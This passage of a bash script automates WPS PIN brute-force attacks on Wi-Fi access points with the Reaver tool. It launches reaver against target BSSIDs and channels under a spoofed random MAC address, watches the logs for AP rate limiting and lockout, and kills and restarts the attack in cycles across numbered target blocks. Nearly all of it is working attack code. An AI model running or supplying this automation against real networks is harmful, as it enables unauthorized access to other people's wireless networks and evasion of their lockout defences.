	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP36 (ESSID: $NMEWARN36)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP36 (ESSID: $NMEWARN36)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R36 == y || $USE_R36 == Y ]] && [[ $USE_LONG36 == y || $USE_LONG36 == Y ]] && [[ $USE_PIN36 == y || $USE_PIN36 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME36"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL36"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP36"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX36" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY36"
echo -e "$info Reaver live time                   = $yel$LIVE36 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME36-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL36 -b $TARGETAP36 -r $RX36:$RY36 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN36 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME36-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE36-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP36 (ESSID: $NMEWARN36)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP36 (ESSID: $NMEWARN36)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE36 == n ] || [ $KEEP_FILE36 == N ]; then

          rm VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R37 == n || $USE_R37 == N ]] && [[ $USE_LONG37 == n || $USE_LONG37 == N ]] && [[ $USE_PIN37 == n || $USE_PIN37 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME37"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL37"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP37"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE37 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME37-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL37 -b $TARGETAP37 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME37-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE37-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP37 (ESSID: $NMEWARN37)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP37 (ESSID: $NMEWARN37)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R37 == y || $USE_R37 == Y ]] && [[ $USE_LONG37 == n || $USE_LONG37 == N ]] && [[ $USE_PIN37 == n || $USE_PIN37 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME37"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL37"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP37"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX37" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY37"
echo -e "$info Reaver live time                   = $yel$LIVE37 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME37-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL37 -b $TARGETAP37 -vv -x 60 -r $RX37:$RY37 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME37-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE37-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP37 (ESSID: $NMEWARN37)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP37 (ESSID: $NMEWARN37)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R37 == n || $USE_R37 == N ]] && [[ $USE_LONG37 == y || $USE_LONG37 == Y ]] && [[ $USE_PIN37 == n || $USE_PIN37 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME37"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL37"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP37"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE37 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME37-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL37 -b $TARGETAP37 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME37-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE37-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP37 (ESSID: $NMEWARN37)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP37 (ESSID: $NMEWARN37)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R37 == y || $USE_R37 == Y ]] && [[ $USE_LONG37 == y || $USE_LONG37 == Y ]] && [[ $USE_PIN37 == n || $USE_PIN37 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME37"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL37"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP37"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX37" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY37"
echo -e "$info Reaver live time                   = $yel$LIVE37 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME37-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL37 -b $TARGETAP37 -r $RX37:$RY37 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME37-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE37-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

